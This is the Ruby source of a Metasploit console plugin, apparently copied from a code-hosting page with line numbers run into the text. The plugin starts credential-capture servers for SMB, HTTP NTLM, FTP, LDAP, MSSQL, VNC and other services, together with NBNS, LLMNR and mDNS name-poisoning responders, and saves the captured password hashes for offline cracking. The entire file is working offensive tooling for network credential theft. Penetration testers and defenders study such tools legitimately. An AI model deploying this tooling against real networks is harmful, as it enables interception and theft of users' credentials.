Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/plugins/capture.rb
Views: 11705
require 'uri'1require 'rex/sync/event'2require 'fileutils'34module Msf5#6# Combines several Metasploit modules related to spoofing names and capturing credentials7# into one plugin8#9class Plugin::Capture < Msf::Plugin1011class ConsoleCommandDispatcher12include Msf::Ui::Console::CommandDispatcher1314class CaptureJobListener15def initialize(name, done_event, dispatcher)16@name = name17@done_event = done_event18@dispatcher = dispatcher19end2021def waiting(_id)22self.succeeded = true23@dispatcher.print_good("#{@name} started")24@done_event.set25end2627def start(id); end2829def completed(id, result, mod); end3031def failed(_id, _error, _mod)32@dispatcher.print_error("#{@name} failed to start")33@done_event.set34end3536attr_accessor :succeeded3738end3940HELP_REGEX = /^-?-h(?:elp)?$/.freeze4142def initialize(*args)43super(*args)44@active_job_ids = {}45@active_loggers = {}46@stop_opt_parser = Rex::Parser::Arguments.new(47'--session' => [ true, 'Session to stop (otherwise all capture jobs on all sessions will be stopped)' ],48['-h', '--help'] => [ false, 'Display this message' ]49)5051@start_opt_parser = Rex::Parser::Arguments.new(52'--session' => [ true, 'Session to bind on' ],53['-i', '--ip'] => [ true, 'IP to bind to' ],54'--spoofip' => [ true, 'IP to use for spoofing (poisoning); default is the bound IP address' ],55'--regex' => [ true, 'Regex to match for spoofing' ],56['-b', '--basic'] => [ false, 'Use Basic auth for HTTP listener (default is NTLM)' ],57'--cert' => [ true, 'Path to SSL cert for encrypted communication' ],58'--configfile' => [ true, 'Path to a config file' ],59'--logfile' => [ true, 'Path to store logs' ],60'--hashdir' => [ true, 'Directory to store hash results' ],61'--stdout' => [ false, 'Show results in stdout' ],62['-v', '--verbose'] => [ false, 'Verbose output' ],63['-h', '--help'] => [ false, 'Display this message' ]64)65end6667def name68'HashCapture'69end7071def commands72{73'captureg' => 'Start credential capturing services'74}75end7677# The main handler for the request command.78#79# @param args [Array<String>] The array of arguments provided by the user.80# @return [nil]81def cmd_captureg(*args)82# short circuit the whole deal if they need help83return help if args.empty?84return help if args.length == 1 && args.first =~ HELP_REGEX85return help(args.last) if args.length == 2 && args.first =~ HELP_REGEX8687begin88if args.first == 'stop'89listeners_stop(args)90return91end9293if args.first == 'start'94listeners_start(args)95return96end97return help98rescue ArgumentError => e99print_error(e.message)100end101end102103def tab_complete_start(str, words)104last_word = words[-1]105case last_word106when '--session'107return framework.sessions.keys.map(&:to_s)108when '--cert', '--configfile', '--logfile'109return tab_complete_filenames(str, words)110when '--hashdir'111return tab_complete_directory(str, words)112when '-i', '--ip', '--spoofip'113return tab_complete_source_address114115end116117if @start_opt_parser.arg_required?(last_word)118# The previous word needs an argument; we can't provide any help119return []120end121122# Otherwise, we are expecting another flag next123result = @start_opt_parser.option_keys.select { |opt| opt.start_with?(str) }124return result125end126127def tab_complete_stop(str, words)128last_word = words[-1]129case last_word130when '--session'131return framework.sessions.keys.map(&:to_s) + ['local']132end133if @stop_opt_parser.arg_required?(words[-1])134# The previous word needs an argument; we can't provide any help135return []136end137138@stop_opt_parser.option_keys.select { |opt| opt.start_with?(str) }139end140141def cmd_captureg_tabs(str, words)142return ['start', 'stop'] if words.length == 1143144if words[1] == 'start'145tab_complete_start(str, words)146elsif words[1] == 'stop'147tab_complete_stop(str, words)148end149end150151def listeners_start(args)152config = parse_start_args(args)153if config[:show_help]154help('start')155return156end157158# Make sure there is no capture happening on that session already159session = config[:session]160if session.nil?161session = 'local'162end163164if @active_job_ids.key?(session)165active_jobs = @active_job_ids[session]166167# If there are active job IDs on this session, we should fail: there's already a capture going on.168# Make them stop it first.169# The exception is if all jobs have been manually terminated, then let's treat it170# as if the capture was stopped, and allow starting now.171active_jobs.each do |job_id|172next unless framework.jobs.key?(job_id.to_s)173174session_str = ''175unless session.nil?176session_str = ' on this session'177end178print_error("A capture is already in progress#{session_str}. Stop the existing capture then restart a new one")179return180end181end182183if @active_loggers.key?(session)184logger = @active_loggers[session]185logger.close186end187188# Start afresh189@active_job_ids[session] = []190@active_loggers.delete(session)191192transform_params(config)193validate_params(config)194195modules = {196# Capturing197'DRDA' => 'auxiliary/server/capture/drda',198'FTP' => 'auxiliary/server/capture/ftp',199'IMAP' => 'auxiliary/server/capture/imap',200'LDAP' => 'auxiliary/server/capture/ldap',201'MSSQL' => 'auxiliary/server/capture/mssql',202'MySQL' => 'auxiliary/server/capture/mysql',203'POP3' => 'auxiliary/server/capture/pop3',204'Postgres' => 'auxiliary/server/capture/postgresql',205'PrintJob' => 'auxiliary/server/capture/printjob_capture',206'SIP' => 'auxiliary/server/capture/sip',207'SMB' => 'auxiliary/server/capture/smb',208'SMTP' => 'auxiliary/server/capture/smtp',209'Telnet' => 'auxiliary/server/capture/telnet',210'VNC' => 'auxiliary/server/capture/vnc',211212# SSL versions213'FTPS' => 'auxiliary/server/capture/ftp',214'IMAPS' => 'auxiliary/server/capture/imap',215'POP3S' => 'auxiliary/server/capture/pop3',216'SMTPS' => 'auxiliary/server/capture/smtp',217218# Poisoning219# 'DNS' => 'auxiliary/spoof/dns/native_spoofer',220'NBNS' => 'auxiliary/spoof/nbns/nbns_response',221'LLMNR' => 'auxiliary/spoof/llmnr/llmnr_response',222'mDNS' => 'auxiliary/spoof/mdns/mdns_response'223# 'WPAD' => 'auxiliary/server/wpad',224}225226encrypted = ['HTTPS_NTLM', 'HTTPS_Basic', 'FTPS', 'IMAPS', 'POP3S', 'SMTPS']227228if config[:http_basic]229modules['HTTP'] = 'auxiliary/server/capture/http_basic'230modules['HTTPS'] = 'auxiliary/server/capture/http_basic'231else232modules['HTTP'] = 'auxiliary/server/capture/http_ntlm'233modules['HTTPS'] = 'auxiliary/server/capture/http_ntlm'234end235236modules_to_run = []237logfile = config[:logfile]238print_line("Logging results to #{logfile}")239logdir = ::File.dirname(logfile)240FileUtils.mkdir_p(logdir)241hashdir = config[:hashdir]242print_line("Hash results stored in #{hashdir}")243FileUtils.mkdir_p(hashdir)244245if config[:stdout]246logger = Rex::Ui::Text::Output::Tee.new(logfile)247else248logger = Rex::Ui::Text::Output::File.new(logfile, 'ab')249end250251@active_loggers[session] = logger252253config[:services].each do |service|254svc = service['type']255unless service['enabled']256# This service turned off in config257next258end259260module_name = modules[svc]261if module_name.nil?262print_error("Unknown service: #{svc}")263return264end265266# Special case for two variants of HTTP267if svc.start_with?('HTTP')268if config[:http_basic]269svc += '_Basic'270else271svc += '_NTLM'272end273end274275mod = framework.modules.create(module_name)276# Bail if we couldn't277unless mod278# Error: this should exist279load_error = framework.modules.load_error_by_name(module_name)280if load_error281print_error("Failed to load #{module_name}: #{load_error}")282else283print_error("Failed to load #{module_name}")284end285return286end287288datastore = {}289# Capturers290datastore['SRVHOST'] = config[:srvhost]291datastore['CAINPWFILE'] = File.join(config[:hashdir], "cain_#{svc}")292datastore['JOHNPWFILE'] = File.join(config[:hashdir], "john_#{svc}")293294# Poisoners295datastore['SPOOFIP'] = config[:spoof_ip]296datastore['SPOOFIP4'] = config[:spoof_ip]297datastore['REGEX'] = config[:spoof_regex]298datastore['ListenerComm'] = config[:session]299300opts = {}301opts['Options'] = datastore302opts['RunAsJob'] = true303opts['LocalOutput'] = logger304if config[:verbose]305datastore['VERBOSE'] = true306end307308method = "configure_#{svc.downcase}"309if respond_to?(method)310send(method, datastore, config)311end312313if encrypted.include?(svc)314configure_tls(datastore, config)315end316317# Before running everything, let's do some basic validation of settings318mod_dup = mod.replicant319mod_dup._import_extra_options(opts)320mod_dup.options.validate(mod_dup.datastore)321322modules_to_run.append([svc, mod, opts])323end324325modules_to_run.each do |svc, mod, opts|326event = Rex::Sync::Event.new(false, false)327job_listener = CaptureJobListener.new(mod.name, event, self)328329result = Msf::Simple::Auxiliary.run_simple(mod, opts, job_listener: job_listener)330job_id = result[1]331332# Wait for the event to trigger (socket server either waiting, or failed)333event.wait334next unless job_listener.succeeded335336# Keep track of it so we can close it upon a `stop` command337@active_job_ids[session].append(job_id)338job = framework.jobs[job_id.to_s]339# Rename the job for display (to differentiate between the encrypted/plaintext ones in particular)340if config[:session].nil?341session_str = 'local'342else343session_str = "session #{config[:session].to_i}"344end345job.send(:name=, "Capture (#{session_str}): #{svc}")346end347348print_good('Started capture jobs')349end350351def listeners_stop(args)352options = parse_stop_args(args)353if options[:show_help]354help('stop')355return356end357358session = options[:session]359job_id_clone = @active_job_ids.clone360job_id_clone.each do |session_id, jobs|361next unless session.nil? || session == session_id362363jobs.each do |job_id|364framework.jobs.stop_job(job_id) unless framework.jobs[job_id.to_s].nil?365end366jobs.clear367@active_job_ids.delete(session_id)368end369370loggers_clone = @active_loggers.clone371loggers_clone.each do |session_id, logger|372if session.nil? || session == session_id373logger.close374@active_loggers.delete(session_id)375end376end377378print_line('Capture listeners stopped')379end380381# Print the appropriate help text depending on an optional option parser.382#383# @param first_arg [String] the first argument to this command384# @return [nil]385def help(first_arg = nil)386if first_arg == 'start'387print_line('Usage: captureg start -i <ip> [options]')388print_line(@start_opt_parser.usage)389elsif first_arg == 'stop'390print_line('Usage: captureg stop [options]')391print_line(@stop_opt_parser.usage)392else393print_line('Usage: captureg [start|stop] [options]')394print_line('')395print_line('Use captureg --help [start|stop] for more detailed usage help')396end397end398399def default_options400{401ntlm_challenge: nil,402ntlm_domain: nil,403services: {},404spoof_ip: nil,405spoof_regex: '.*',406srvhost: nil,407http_basic: false,408session: nil,409ssl_cert: nil,410verbose: false,411show_help: false,412stdout: false,413logfile: nil,414hashdir: nil415}416end417418def default_logfile(options)419session = 'local'420session = options[:session].to_s unless options[:session].nil?421422name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}.txt"423File.join(Msf::Config.log_directory, "captures/#{name}")424end425426def default_hashdir(options)427session = 'local'428session = options[:session].to_s unless options[:session].nil?429430name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}"431File.join(Msf::Config.loot_directory, "captures/#{name}")432end433434def read_config(filename)435options = {}436File.open(filename, 'rb') do |f|437yamlconf = YAML.safe_load(f)438options = {439ntlm_challenge: yamlconf['ntlm_challenge'],440ntlm_domain: yamlconf['ntlm_domain'],441services: yamlconf['services'],442spoof_regex: yamlconf['spoof_regex'],443http_basic: yamlconf['http_basic'],444ssl_cert: yamlconf['ssl_cert'],445logfile: yamlconf['logfile'],446hashdir: yamlconf['hashdir']447}448end449end450451def parse_stop_args(args)452options = {453session: nil,454show_help: false455}456457@start_opt_parser.parse(args) do |opt, _idx, val|458case opt459when '--session'460options[:session] = val461when '-h'462options[:show_help] = true463end464end465466options467end468469def parse_start_args(args)470config_file = File.join(Msf::Config.config_directory, 'capture_config.yaml')471# See if there was a config file set472@start_opt_parser.parse(args) do |opt, _idx, val|473case opt474when '--configfile'475config_file = val476end477end478479options = default_options480config_options = read_config(config_file)481options = options.merge(config_options)482483@start_opt_parser.parse(args) do |opt, _idx, val|484case opt485when '--session'486options[:session] = val487when '-i', '--ip'488options[:srvhost] = val489when '--spoofip'490options[:spoof_ip] = val491when '--regex'492options[:spoof_regex] = val493when '-v', '--verbose'494options[:verbose] = true495when '--basic', '-b'496options[:http_basic] = true497when '--cert'498options[:ssl_cert] = val499when '--stdout'500options[:stdout] = true501when '--logfile'502options[:logfile] = val503when '--hashdir'504options[:hashdir] = val505when '-h', '--help'506options[:show_help] = true507end508end509510options511end512513def poison_included(options)514poisoners = ['mDNS', 'LLMNR', 'NBNS']515options[:services].each do |svc|516if svc['enabled'] && poisoners.member?(svc['type'])517return true518end519end520false521end522523# Fill in implied parameters to make the running code neater524def transform_params(options)525# If we've been given a specific IP to listen on, use that as our poisoning IP526if options[:spoof_ip].nil? && Rex::Socket.is_ip_addr?(options[:srvhost]) && Rex::Socket.addr_atoi(options[:srvhost]) != 0527options[:spoof_ip] = options[:srvhost]528end529530unless options[:session].nil?531options[:session] = framework.sessions.get(options[:session])&.sid532# UDP is not supported on remote sessions533udp = ['NBNS', 'LLMNR', 'mDNS', 'SIP']534options[:services].each do |svc|535if svc['enabled'] && udp.member?(svc['type'])536print_line("Skipping #{svc['type']}: UDP server not supported over a remote session")537svc['enabled'] = false538end539end540end541542if options[:logfile].nil?543options[:logfile] = default_logfile(options)544end545546if options[:hashdir].nil?547options[:hashdir] = default_hashdir(options)548end549end550551def validate_params(options)552unless options[:srvhost] && Rex::Socket.is_ip_addr?(options[:srvhost])553raise ArgumentError, 'Must provide a valid IP address to listen on'554end555# If we're running poisoning (which is disabled remotely, so excluding that situation),556# we need either a specific srvhost to use, or a specific spoof IP557if options[:spoof_ip].nil? && poison_included(options)558raise ArgumentError, 'Must provide a specific IP address to use for poisoning'559end560unless Rex::Socket.is_ip_addr?(options[:spoof_ip])561raise ArgumentError, 'Spoof IP must be a valid IP address'562end563unless options[:ssl_cert].nil? || File.file?(options[:ssl_cert])564raise ArgumentError, "File #{options[:ssl_cert]} not found"565end566unless options[:session].nil? || framework.sessions.get(options[:session])567raise ArgumentError, "Session #{options[:session].to_i} not found"568end569end570571def configure_tls(datastore, config)572datastore['SSL'] = true573datastore['SSLCert'] = config[:ssl_cert]574end575576def configure_smb(datastore, config)577datastore['SMBDOMAIN'] = config[:ntlm_domain]578datastore['CHALLENGE'] = config[:ntlm_challenge]579end580581def configure_ldap(datastore, config)582datastore['DOMAIN'] = config[:ntlm_domain]583datastore['CHALLENGE'] = config[:ntlm_challenge]584end585586def configure_mssql(datastore, config)587datastore['DOMAIN_NAME'] = config[:ntlm_domain]588datastore['CHALLENGE'] = config[:ntlm_challenge]589end590591def configure_http_ntlm(datastore, config)592datastore['DOMAIN'] = config[:ntlm_domain]593datastore['CHALLENGE'] = config[:ntlm_challenge]594datastore['SRVPORT'] = 80595datastore['URIPATH'] = '/'596end597598def configure_http_basic(datastore, _config)599datastore['URIPATH'] = '/'600end601602def configure_https_basic(datastore, _config)603datastore['SRVPORT'] = 443604datastore['URIPATH'] = '/'605end606607def configure_https_ntlm(datastore, config)608datastore['DOMAIN'] = config[:ntlm_domain]609datastore['CHALLENGE'] = config[:ntlm_challenge]610datastore['SRVPORT'] = 443611datastore['URIPATH'] = '/'612end613614def configure_ftps(datastore, _config)615datastore['SRVPORT'] = 990616end617618def configure_imaps(datastore, _config)619datastore['SRVPORT'] = 993620end621622def configure_pop3s(datastore, _config)623datastore['SRVPORT'] = 995624end625626def configure_smtps(datastore, _config)627datastore['SRVPORT'] = 587628end629end630631def initialize(framework, opts)632super633add_console_dispatcher(ConsoleCommandDispatcher)634filename = 'capture_config.yaml'635user_config_file = File.join(Msf::Config.config_directory, filename)636unless File.exist?(user_config_file)637# Initialise user config file with the installed one638base_config_file = File.join(Msf::Config.data_directory, filename)639unless File.exist?(base_config_file)640print_error('Plugin config file not found!')641return642end643FileUtils.cp(base_config_file, user_config_file)644end645end646647def cleanup648remove_console_dispatcher('HashCapture')649end650651def name652'Credential Capture'653end654655def desc656'Start all credential capture and spoofing services'657end658659end660end661662663